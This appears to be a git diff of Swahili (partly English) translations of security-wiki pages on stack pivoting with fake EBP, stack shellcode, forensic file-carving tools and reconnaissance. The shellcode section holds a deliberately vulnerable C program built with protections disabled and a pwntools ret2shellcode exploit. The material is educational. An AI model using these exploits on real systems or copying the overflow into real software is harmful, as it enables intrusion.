- **`system()`** -> Inaitwa na `ret`.
 | 
			
		||||
- **`&(leave;ret)`** -> Inaitwa baada ya mfumo kumaliza, itahamisha ESP kwa EBP bandia na kuanza tena.
 | 
			
		||||
- **`&("/bin/sh")`**-> Param kwa `system`.
 | 
			
		||||
 | 
			
		||||
Kimsingi kwa njia hii inawezekana kuunganisha EBPs bandia kadhaa ili kudhibiti mtiririko wa programu.
 | 
			
		||||
 | 
			
		||||
Hii ni kama [ret2lib](../rop-return-oriented-programing/ret2lib/), lakini ngumu zaidi bila faida dhahiri lakini inaweza kuwa ya kuvutia katika baadhi ya hali za ukingo.
 | 
			
		||||
Hii ni kama [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), lakini ngumu zaidi bila faida dhahiri lakini inaweza kuwa ya kuvutia katika baadhi ya hali za ukingo.
 | 
			
		||||
 | 
			
		||||
Zaidi ya hayo, hapa una [**mfano wa changamoto**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) inayotumia teknolojia hii na **stack leak** ili kuita kazi ya kushinda. Hii ni payload ya mwisho kutoka kwenye ukurasa:
 | 
			
		||||
Zaidi ya hayo, hapa kuna [**mfano wa changamoto**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) inayotumia tekniki hii na **stack leak** ili kuita kazi ya kushinda. Hii ni payload ya mwisho kutoka kwenye ukurasa:
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -94,10 +94,10 @@ print(p.recvline())
 | 
			
		||||
```
 | 
			
		||||
## EBP huenda isiweze kutumika
 | 
			
		||||
 | 
			
		||||
Kama [**ilivyoelezwa katika chapisho hili**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ikiwa binary imeandikwa kwa baadhi ya uboreshaji, **EBP kamwe haipati kudhibiti ESP**, kwa hivyo, exploit yoyote inayofanya kazi kwa kudhibiti EBP kwa msingi itashindwa kwa sababu haina athari halisi.\
 | 
			
		||||
Kama [**ilivyoelezwa katika chapisho hili**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ikiwa binary imeandikwa kwa baadhi ya uboreshaji, **EBP kamwe haipati kudhibiti ESP**, kwa hivyo, yoyote exploit inayofanya kazi kwa kudhibiti EBP itashindwa kimsingi kwa sababu haina athari halisi.\
 | 
			
		||||
Hii ni kwa sababu **prologue na epilogue hubadilika** ikiwa binary imeboreshwa.
 | 
			
		||||
 | 
			
		||||
- **Iliyojaboreshwa:**
 | 
			
		||||
- **Haitaboreshwa:**
 | 
			
		||||
```bash
 | 
			
		||||
push   %ebp         # save ebp
 | 
			
		||||
mov    %esp,%ebp    # set new ebp
 | 
			
		||||
@ -188,20 +188,20 @@ Angalia mbinu ya ret2esp hapa:
 | 
			
		||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
 | 
			
		||||
- 64 bits, exploitation ya off by one na mchain ya rop ikianza na ret sled
 | 
			
		||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
 | 
			
		||||
- 64 bit, hakuna relro, canary, nx na pie. Programu inatoa leak kwa stack au pie na WWW ya qword. Kwanza pata stack leak na tumia WWW kurudi na kupata pie leak. Kisha tumia WWW kuunda loop ya milele ikitumia entries za `.fini_array` + kuita `__libc_csu_fini` ([maelezo zaidi hapa](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Kwa kutumia "kuandika" hii "milele", imeandikwa mchain ya ROP katika .bss na kumaliza kwa kuitwa pivoting na RBP.
 | 
			
		||||
- 64 bit, hakuna relro, canary, nx na pie. Program inatoa leak kwa stack au pie na WWW ya qword. Kwanza pata stack leak na tumia WWW kurudi na kupata pie leak. Kisha tumia WWW kuunda loop ya milele ikitumia entries za `.fini_array` + kuita `__libc_csu_fini` ([maelezo zaidi hapa](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Kwa kutumia "kuandika" hii "ya milele", imeandikwa mchain ya ROP katika .bss na kumaliza kwa kuitwa pivoting na RBP.
 | 
			
		||||
 | 
			
		||||
## ARM64
 | 
			
		||||
 | 
			
		||||
Katika ARM64, **prologue na epilogues** za kazi **hazihifadhi na kurejesha usajili wa SP** katika stack. Zaidi ya hayo, **amri ya `RET`** hairejeshi kwenye anwani inayotolewa na SP, bali **kwenye anwani ndani ya `x30`**.
 | 
			
		||||
 | 
			
		||||
Kwa hivyo, kwa kawaida, kwa kutumia epilogue huwezi **kudhibiti usajili wa SP** kwa kuandika tena data fulani ndani ya stack. Na hata kama unafanikiwa kudhibiti SP bado unahitaji njia ya **kudhibiti usajili wa `x30`**.
 | 
			
		||||
Hivyo, kwa kawaida, kwa kutumia epilogue huwezi **kudhibiti usajili wa SP** kwa kuandika data fulani ndani ya stack. Na hata kama unafanikiwa kudhibiti SP bado unahitaji njia ya **kudhibiti usajili wa `x30`**.
 | 
			
		||||
 | 
			
		||||
- prologue
 | 
			
		||||
 | 
			
		||||
```armasm
 | 
			
		||||
sub sp, sp, 16
 | 
			
		||||
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
 | 
			
		||||
mov x29, sp             // FP points to frame record
 | 
			
		||||
mov x29, sp             // FP inashikilia rekodi ya frame
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
- epilogue
 | 
			
		||||
 | 
			
		||||
@ -4,11 +4,11 @@
 | 
			
		||||
 | 
			
		||||
## Basic Information
 | 
			
		||||
 | 
			
		||||
**Stack shellcode** ni mbinu inayotumika katika **binary exploitation** ambapo mshambuliaji anaandika shellcode kwenye stack ya programu iliyo hatarini kisha kubadilisha **Instruction Pointer (IP)** au **Extended Instruction Pointer (EIP)** ili kuelekeza kwenye eneo la shellcode hii, na kusababisha itekelezwe. Hii ni mbinu ya jadi inayotumika kupata ufikiaji usioidhinishwa au kutekeleza amri zisizo na mipango kwenye mfumo wa lengo. Hapa kuna muhtasari wa mchakato, ikiwa ni pamoja na mfano rahisi wa C na jinsi unavyoweza kuandika exploit inayolingana kwa kutumia Python na **pwntools**.
 | 
			
		||||
**Stack shellcode** ni mbinu inayotumika katika **binary exploitation** ambapo mshambuliaji anaandika shellcode kwenye stack ya programu iliyo hatarini na kisha kubadilisha **Instruction Pointer (IP)** au **Extended Instruction Pointer (EIP)** ili kuelekeza kwenye eneo la shellcode hii, na kusababisha itekelezwe. Hii ni mbinu ya jadi inayotumika kupata ufikiaji usioidhinishwa au kutekeleza amri zisizo na mipaka kwenye mfumo wa lengo. Hapa kuna muhtasari wa mchakato, ikiwa ni pamoja na mfano rahisi wa C na jinsi unavyoweza kuandika exploit inayolingana kwa kutumia Python na **pwntools**.
 | 
			
		||||
 | 
			
		||||
### C Example: A Vulnerable Program
 | 
			
		||||
 | 
			
		||||
Tuanze na mfano rahisi wa programu ya C iliyo hatarini:
 | 
			
		||||
Let's start with a simple example of a vulnerable C program:
 | 
			
		||||
```c
 | 
			
		||||
#include <stdio.h>
 | 
			
		||||
#include <string.h>
 | 
			
		||||
@ -39,7 +39,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 | 
			
		||||
 | 
			
		||||
### Python Exploit using Pwntools
 | 
			
		||||
 | 
			
		||||
Hapa kuna jinsi unavyoweza kuandika exploit katika Python ukitumia **pwntools** kufanya shambulio la **ret2shellcode**:
 | 
			
		||||
Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack:
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -66,26 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
 | 
			
		||||
p.sendline(payload)
 | 
			
		||||
p.interactive()
 | 
			
		||||
```
 | 
			
		||||
Hii script inajenga payload inayojumuisha **NOP slide**, **shellcode**, na kisha inabadilisha **EIP** na anwani inayotaja NOP slide, kuhakikisha shellcode inatekelezwa.
 | 
			
		||||
Hii script inajenga payload inayojumuisha **NOP slide**, **shellcode**, na kisha inabadilisha **EIP** kwa anwani inayotaja NOP slide, kuhakikisha shellcode inatekelezwa.
 | 
			
		||||
 | 
			
		||||
**NOP slide** (`asm('nop')`) inatumika kuongeza nafasi kwamba utekelezaji uta "slide" ndani ya shellcode yetu bila kujali anwani halisi. Badilisha hoja ya `p32()` kwa anwani ya mwanzo ya buffer yako pamoja na offset ili kuangukia kwenye NOP slide.
 | 
			
		||||
 | 
			
		||||
## Ulinzi
 | 
			
		||||
 | 
			
		||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **inapaswa kuzuiliwa** ili anwani iwe ya kuaminika katika utekelezaji tofauti au anwani ambapo kazi itahifadhiwa haitakuwa sawa kila wakati na unahitaji kuvuja ili kubaini wapi kazi ya ushindi imepakiwa.
 | 
			
		||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) pia inapaswa kuzuiliwa au anwani ya kurudi ya EIP iliyovunjika haitafuatiwa kamwe.
 | 
			
		||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **inapaswa kuzuiliwa** ili anwani iwe ya kuaminika katika utekelezaji tofauti au anwani ambapo kazi itahifadhiwa haitakuwa sawa kila wakati na unahitaji kuwa na leak ili kubaini wapi kazi ya win imepakiwa.
 | 
			
		||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) pia inapaswa kuzuiliwa au anwani ya kurudi ya EIP iliyovunjika haitafuatiwa kamwe.
 | 
			
		||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** ulinzi utazuia utekelezaji wa shellcode ndani ya stack kwa sababu eneo hilo halitakuwa la kutekelezeka.
 | 
			
		||||
 | 
			
		||||
## Mifano Mingine & Marejeleo
 | 
			
		||||
 | 
			
		||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
 | 
			
		||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
 | 
			
		||||
- 64bit, ASLR na kuvuja kwa anwani ya stack, andika shellcode na kuruka kwake
 | 
			
		||||
- 64bit, ASLR na leak ya anwani ya stack, andika shellcode na ruka kwake
 | 
			
		||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
 | 
			
		||||
- 32 bit, ASLR na kuvuja kwa stack, andika shellcode na kuruka kwake
 | 
			
		||||
- 32 bit, ASLR na leak ya stack, andika shellcode na ruka kwake
 | 
			
		||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
 | 
			
		||||
- 32 bit, ASLR na kuvuja kwa stack, kulinganisha kuzuia wito wa exit(), badilisha kigezo na thamani na andika shellcode na kuruka kwake
 | 
			
		||||
- 32 bit, ASLR na leak ya stack, kulinganisha kuzuia wito wa exit(), badilisha variable kwa thamani na andika shellcode na ruka kwake
 | 
			
		||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
 | 
			
		||||
- arm64, hakuna ASLR, ROP gadget kufanya stack iweze kutekelezwa na kuruka kwa shellcode katika stack
 | 
			
		||||
- arm64, hakuna ASLR, ROP gadget kufanya stack iwe ya kutekelezeka na ruka kwa shellcode ndani ya stack
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -4,15 +4,15 @@
 | 
			
		||||
 | 
			
		||||
## Carving & Recovery tools
 | 
			
		||||
 | 
			
		||||
Zana zaidi zinapatikana katika [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
 | 
			
		||||
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
 | 
			
		||||
 | 
			
		||||
### Autopsy
 | 
			
		||||
 | 
			
		||||
Zana inayotumika sana katika uchunguzi wa forensics kutoa faili kutoka kwa picha ni [**Autopsy**](https://www.autopsy.com/download/). Pakua, sakinisha na fanya iweze kuchukua faili ili kupata faili "zilizofichwa". Kumbuka kwamba Autopsy imejengwa kusaidia picha za diski na aina nyingine za picha, lakini si faili rahisi.
 | 
			
		||||
Chombo kinachotumika sana katika uchunguzi kutoa faili kutoka kwa picha ni [**Autopsy**](https://www.autopsy.com/download/). Pakua, sakinisha na fanya iweze kuchukua faili ili kupata faili "zilizofichwa". Kumbuka kwamba Autopsy imejengwa kusaidia picha za diski na aina nyingine za picha, lakini si faili rahisi.
 | 
			
		||||
 | 
			
		||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
 | 
			
		||||
 | 
			
		||||
**Binwalk** ni zana ya kuchambua faili za binary ili kupata maudhui yaliyojumuishwa. Inaweza kusakinishwa kupitia `apt` na chanzo chake kiko kwenye [GitHub](https://github.com/ReFirmLabs/binwalk).
 | 
			
		||||
**Binwalk** ni chombo cha kuchambua faili za binary ili kupata maudhui yaliyojumuishwa. Inaweza kusakinishwa kupitia `apt` na chanzo chake kiko kwenye [GitHub](https://github.com/ReFirmLabs/binwalk).
 | 
			
		||||
 | 
			
		||||
**Amri muhimu**:
 | 
			
		||||
```bash
 | 
			
		||||
@ -44,44 +44,44 @@ Zana hii inaweza kuskan picha na itatoa **pcaps** ndani yake, **taarifa za mtand
 | 
			
		||||
```
 | 
			
		||||
bulk_extractor memory.img -o out_folder
 | 
			
		||||
```
 | 
			
		||||
Naviga kupitia **habari zote** ambazo chombo kimekusanya (nywila?), **chambua** **paket** (soma [**Pcaps analysis**](../pcap-inspection/)), tafuta **domeni za ajabu** (domeni zinazohusiana na **malware** au **zisizokuwepo**).
 | 
			
		||||
Navigate through **habari zote** that the tool has gathered (passwords?), **chambua** the **paket** (read[ **Pcaps analysis**](../pcap-inspection/index.html)), search for **domeni za ajabu** (domains related to **malware** or **zisizokuwepo**).
 | 
			
		||||
 | 
			
		||||
### PhotoRec
 | 
			
		||||
 | 
			
		||||
Unaweza kuipata katika [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
 | 
			
		||||
You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
 | 
			
		||||
 | 
			
		||||
Inakuja na toleo la GUI na CLI. Unaweza kuchagua **aina za faili** unazotaka PhotoRec itafute.
 | 
			
		||||
It comes with GUI and CLI versions. You can select the **aina za faili** you want PhotoRec to search for.
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
### binvis
 | 
			
		||||
 | 
			
		||||
Angalia [code](https://code.google.com/archive/p/binvis/) na [ukurasa wa chombo](https://binvis.io/#/).
 | 
			
		||||
Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/).
 | 
			
		||||
 | 
			
		||||
#### Vipengele vya BinVis
 | 
			
		||||
#### Features of BinVis
 | 
			
		||||
 | 
			
		||||
- Muonekano wa **muundo** wa kuona na wa kazi
 | 
			
		||||
- Mchoro mwingi kwa maeneo tofauti ya kuzingatia
 | 
			
		||||
- Kuangazia sehemu za sampuli
 | 
			
		||||
- **Kuona stings na rasilimali**, katika PE au ELF executable mfano
 | 
			
		||||
- Kupata **mifumo** ya uchambuzi wa kificho kwenye faili
 | 
			
		||||
- **Kugundua** algorithms za pakker au encoder
 | 
			
		||||
- **Tambua** Steganography kwa mifumo
 | 
			
		||||
- **Kuona** tofauti za binary
 | 
			
		||||
- Visual and active **muonekano wa muundo**
 | 
			
		||||
- Multiple plots for different focus points
 | 
			
		||||
- Focusing on portions of a sample
 | 
			
		||||
- **Kuona stings na rasilimali**, in PE or ELF executables e. g.
 | 
			
		||||
- Getting **mifumo** for cryptanalysis on files
 | 
			
		||||
- **Kugundua** packer or encoder algorithms
 | 
			
		||||
- **Tambua** Steganography by patterns
 | 
			
		||||
- **Visual** binary-diffing
 | 
			
		||||
 | 
			
		||||
BinVis ni **nukta ya kuanzia nzuri ili kufahamiana na lengo lisilojulikana** katika hali ya black-boxing.
 | 
			
		||||
BinVis is a great **nukta ya kuanzia kujifunza kuhusu lengo lisilojulikana** in a black-boxing scenario.
 | 
			
		||||
 | 
			
		||||
## Zana Maalum za Data Carving
 | 
			
		||||
## Specific Data Carving Tools
 | 
			
		||||
 | 
			
		||||
### FindAES
 | 
			
		||||
 | 
			
		||||
Inatafuta funguo za AES kwa kutafuta ratiba zao za funguo. Inaweza kupata funguo za 128, 192, na 256 bit, kama zile zinazotumiwa na TrueCrypt na BitLocker.
 | 
			
		||||
Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker.
 | 
			
		||||
 | 
			
		||||
Pakua [hapa](https://sourceforge.net/projects/findaes/).
 | 
			
		||||
Download [hapa](https://sourceforge.net/projects/findaes/).
 | 
			
		||||
 | 
			
		||||
## Zana za Nyongeza
 | 
			
		||||
## Complementary tools
 | 
			
		||||
 | 
			
		||||
Unaweza kutumia [**viu**](https://github.com/atanunq/viu) kuona picha kutoka kwenye terminal.\
 | 
			
		||||
Unaweza kutumia chombo cha mistari ya amri ya linux **pdftotext** kubadilisha pdf kuwa maandiko na kuisoma.
 | 
			
		||||
You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\
 | 
			
		||||
You can use the linux command line tool **pdftotext** to transform a pdf into text and read it.
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -1,6 +1,6 @@
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
# Zana za kuchonga
 | 
			
		||||
# Zana za kuchora
 | 
			
		||||
 | 
			
		||||
## Autopsy
 | 
			
		||||
 | 
			
		||||
@ -19,7 +19,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
 | 
			
		||||
```
 | 
			
		||||
## Foremost
 | 
			
		||||
 | 
			
		||||
Zana nyingine ya kawaida ya kutafuta faili zilizofichwa ni **foremost**. Unaweza kupata faili ya usanidi ya foremost katika `/etc/foremost.conf`. Ikiwa unataka tu kutafuta faili fulani, ondoa alama ya maoni. Ikiwa hutaondoa alama ya maoni, foremost itatafuta aina zake za faili zilizowekwa kama chaguo-msingi.
 | 
			
		||||
Zana nyingine ya kawaida ya kutafuta faili zilizofichwa ni **foremost**. Unaweza kupata faili ya usanidi ya foremost katika `/etc/foremost.conf`. Ikiwa unataka tu kutafuta faili fulani, ondoa alama ya maoni. Ikiwa hutaondoa alama ya maoni, foremost itatafuta aina za faili zilizowekwa kama chaguo-msingi.
 | 
			
		||||
```bash
 | 
			
		||||
sudo apt-get install foremost
 | 
			
		||||
foremost -v -i file.img -o output
 | 
			
		||||
@ -34,13 +34,13 @@ scalpel file.img -o output
 | 
			
		||||
```
 | 
			
		||||
## Bulk Extractor
 | 
			
		||||
 | 
			
		||||
Zana hii inapatikana ndani ya kali lakini unaweza kuipata hapa: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
 | 
			
		||||
Chombo hiki kinapatikana ndani ya kali lakini unaweza kukipata hapa: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
 | 
			
		||||
 | 
			
		||||
Zana hii inaweza kuskan picha na itatoa **pcaps** ndani yake, **taarifa za mtandao (URLs, domains, IPs, MACs, mails)** na zaidi **faili**. Unachohitaji kufanya ni:
 | 
			
		||||
Chombo hiki kinaweza kuskan picha na **kutoa pcaps** ndani yake, **taarifa za mtandao (URLs, domains, IPs, MACs, mails)** na zaidi **faili**. Unachohitaji kufanya ni:
 | 
			
		||||
```text
 | 
			
		||||
bulk_extractor memory.img -o out_folder
 | 
			
		||||
```
 | 
			
		||||
Navigatia kupitia **maelezo yote** ambayo chombo kimekusanya \(nywila?\), **chambua** **paket** \(soma [**Pcaps analysis**](../pcap-inspection/)\), tafuta **domeni za ajabu** \(domeni zinazohusiana na **malware** au **zisizokuwepo**\).
 | 
			
		||||
Navigate through **maelezo yote** ambayo chombo kimekusanya \(nywila?\), **chambua** **paket** \(soma [**Pcaps analysis**](../pcap-inspection/index.html)\), tafuta **domeni za ajabu** \(domeni zinazohusiana na **malware** au **zisizokuwepo**\).
 | 
			
		||||
 | 
			
		||||
## PhotoRec
 | 
			
		||||
 | 
			
		||||
@ -54,7 +54,7 @@ Inakuja na toleo la GUI na CLI. Unaweza kuchagua **aina za faili** unazotaka Pho
 | 
			
		||||
 | 
			
		||||
## FindAES
 | 
			
		||||
 | 
			
		||||
Inatafuta funguo za AES kwa kutafuta ratiba zao za funguo. Inaweza kupata funguo za 128, 192, na 256 bit, kama zile zinazotumiwa na TrueCrypt na BitLocker.
 | 
			
		||||
Inatafuta funguo za AES kwa kutafuta mipango yao ya funguo. Inaweza kupata funguo za 128, 192, na 256 bit, kama zile zinazotumiwa na TrueCrypt na BitLocker.
 | 
			
		||||
 | 
			
		||||
Pakua [hapa](https://sourceforge.net/projects/findaes/).
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -23,7 +23,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
 | 
			
		||||
```
 | 
			
		||||
### Foremost
 | 
			
		||||
 | 
			
		||||
Zana lingine la kawaida la kutafuta faili zilizofichwa ni **foremost**. Unaweza kupata faili ya usanidi ya foremost katika `/etc/foremost.conf`. Ikiwa unataka tu kutafuta faili fulani, ondoa alama ya maoni. Ikiwa huondoi alama ya maoni, foremost itatafuta aina zake za faili zilizowekwa kama chaguo-msingi.
 | 
			
		||||
Chombo kingine cha kawaida cha kutafuta faili zilizofichwa ni **foremost**. Unaweza kupata faili ya usanidi ya foremost katika `/etc/foremost.conf`. Ikiwa unataka tu kutafuta faili fulani, ondoa alama ya maoni. Ikiwa huondoi alama ya maoni, foremost itatafuta aina zake za faili zilizowekwa kama chaguo-msingi.
 | 
			
		||||
```bash
 | 
			
		||||
sudo apt-get install foremost
 | 
			
		||||
foremost -v -i file.img -o output
 | 
			
		||||
@ -38,50 +38,50 @@ scalpel file.img -o output
 | 
			
		||||
```
 | 
			
		||||
### Bulk Extractor
 | 
			
		||||
 | 
			
		||||
Zana hii inapatikana ndani ya kali lakini unaweza kuipata hapa: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
 | 
			
		||||
Chombo hiki kinapatikana ndani ya kali lakini unaweza kukipata hapa: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
 | 
			
		||||
 | 
			
		||||
Zana hii inaweza kuskan picha na itatoa **pcaps** ndani yake, **taarifa za mtandao (URLs, domains, IPs, MACs, mails)** na zaidi **faili**. Unachohitaji kufanya ni:
 | 
			
		||||
Chombo hiki kinaweza kuskan picha na **kutoa pcaps** ndani yake, **taarifa za mtandao (URLs, domains, IPs, MACs, mails)** na zaidi **faili**. Unachohitaji kufanya ni:
 | 
			
		||||
```
 | 
			
		||||
bulk_extractor memory.img -o out_folder
 | 
			
		||||
```
 | 
			
		||||
Navigatia kupitia **maelezo yote** ambayo chombo kimekusanya (nywila?), **chambua** **paket** (soma [**Pcaps analysis**](../pcap-inspection/)), tafuta **domeni za ajabu** (domeni zinazohusiana na **malware** au **zisizokuwepo**).
 | 
			
		||||
Navigate through **habari zote** that the tool has gathered (passwords?), **chambua** the **paket** (read[ **Pcaps analysis**](../pcap-inspection/index.html)), search for **domeni za ajabu** (domains related to **malware** or **zisizokuwepo**).
 | 
			
		||||
 | 
			
		||||
### PhotoRec
 | 
			
		||||
 | 
			
		||||
Unaweza kuipata katika [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
 | 
			
		||||
You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
 | 
			
		||||
 | 
			
		||||
Inakuja na toleo la GUI na CLI. Unaweza kuchagua **aina za faili** unazotaka PhotoRec itafute.
 | 
			
		||||
It comes with GUI and CLI versions. You can select the **aina za faili** you want PhotoRec to search for.
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
### binvis
 | 
			
		||||
 | 
			
		||||
Angalia [code](https://code.google.com/archive/p/binvis/) na [ukurasa wa chombo](https://binvis.io/#/).
 | 
			
		||||
Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/).
 | 
			
		||||
 | 
			
		||||
#### Vipengele vya BinVis
 | 
			
		||||
#### Features of BinVis
 | 
			
		||||
 | 
			
		||||
- Muonekano wa **muundo** wa kuona na wa kazi
 | 
			
		||||
- Mchoro mwingi kwa maeneo tofauti ya kuzingatia
 | 
			
		||||
- Kuangazia sehemu za sampuli
 | 
			
		||||
- **Kuona stings na rasilimali**, katika PE au ELF executable mfano
 | 
			
		||||
- Kupata **mifumo** ya uchambuzi wa kificho kwenye faili
 | 
			
		||||
- **Kugundua** algorithms za pakker au encoder
 | 
			
		||||
- **Tambua** Steganography kwa mifumo
 | 
			
		||||
- **Kuona** tofauti za binary
 | 
			
		||||
- Visual and active **muonekano wa muundo**
 | 
			
		||||
- Multiple plots for different focus points
 | 
			
		||||
- Focusing on portions of a sample
 | 
			
		||||
- **Kuona stings na rasilimali**, in PE or ELF executables e. g.
 | 
			
		||||
- Getting **mifumo** for cryptanalysis on files
 | 
			
		||||
- **Kugundua** packer or encoder algorithms
 | 
			
		||||
- **Tambua** Steganography by patterns
 | 
			
		||||
- **Visual** binary-diffing
 | 
			
		||||
 | 
			
		||||
BinVis ni **nukta ya kuanzia nzuri ili kufahamiana na lengo lisilojulikana** katika hali ya black-boxing.
 | 
			
		||||
BinVis is a great **nukta ya kuanzia kujifunza kuhusu lengo lisilojulikana** in a black-boxing scenario.
 | 
			
		||||
 | 
			
		||||
## Zana Maalum za Data Carving
 | 
			
		||||
## Specific Data Carving Tools
 | 
			
		||||
 | 
			
		||||
### FindAES
 | 
			
		||||
 | 
			
		||||
Inatafuta funguo za AES kwa kutafuta ratiba zao za funguo. Inaweza kupata funguo za 128, 192, na 256 bit, kama zile zinazotumiwa na TrueCrypt na BitLocker.
 | 
			
		||||
Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker.
 | 
			
		||||
 | 
			
		||||
Pakua [hapa](https://sourceforge.net/projects/findaes/).
 | 
			
		||||
Download [hapa](https://sourceforge.net/projects/findaes/).
 | 
			
		||||
 | 
			
		||||
## Zana za Nyongeza
 | 
			
		||||
## Complementary tools
 | 
			
		||||
 | 
			
		||||
Unaweza kutumia [**viu**](https://github.com/atanunq/viu) kuona picha kutoka kwenye terminal.\
 | 
			
		||||
Unaweza kutumia chombo cha mistari ya amri za linux **pdftotext** kubadilisha pdf kuwa maandiko na kuisoma.
 | 
			
		||||
You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\
 | 
			
		||||
You can use the linux command line tool **pdftotext** to transform a pdf into text and read it.
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -10,7 +10,7 @@ Lengo la awamu hii ni kupata **makampuni yanayomilikiwa na kampuni kuu** na kish
 | 
			
		||||
 | 
			
		||||
1. Kupata ununuzi wa kampuni kuu, hii itatupa makampuni ndani ya upeo.
 | 
			
		||||
2. Kupata ASN (ikiwa ipo) ya kila kampuni, hii itatupa anuwai za IP zinazomilikiwa na kila kampuni.
 | 
			
		||||
3. Kutumia utafutaji wa reverse whois kutafuta entries nyingine (majina ya mashirika, domaini...) yanayohusiana na ya kwanza (hii inaweza kufanywa kwa njia ya kurudi).
 | 
			
		||||
3. Kutumia utafutaji wa reverse whois kutafuta entries nyingine (majina ya mashirika, domaini...) zinazohusiana na ya kwanza (hii inaweza kufanywa kwa njia ya kurudi).
 | 
			
		||||
4. Kutumia mbinu nyingine kama shodan `org` na `ssl` filters kutafuta mali nyingine (hila ya `ssl` inaweza kufanywa kwa njia ya kurudi).
 | 
			
		||||
 | 
			
		||||
### **Ununuzi**
 | 
			
		||||
@ -26,7 +26,7 @@ Chaguo lingine ni kutembelea ukurasa wa **Wikipedia** wa kampuni kuu na kutafuta
 | 
			
		||||
Nambari ya mfumo huru (**ASN**) ni **nambari ya kipekee** inayotolewa kwa **mfumo huru** (AS) na **Mamlaka ya Nambari za Mtandao (IANA)**.\
 | 
			
		||||
**AS** inajumuisha **vizuizi** vya **anwani za IP** ambazo zina sera iliyofafanuliwa wazi kwa kufikia mitandao ya nje na zinatawaliwa na shirika moja lakini zinaweza kuwa na waendeshaji kadhaa.
 | 
			
		||||
 | 
			
		||||
Ni ya kuvutia kubaini ikiwa **kampuni ina ASN yoyote iliyotolewa** ili kupata **anuwai zake za IP.** Itakuwa ya kuvutia kufanya **mtihani wa udhaifu** dhidi ya **mashine** zote ndani ya **upeo** na **kutafuta domaini** ndani ya anuwai hizi za IP.\
 | 
			
		||||
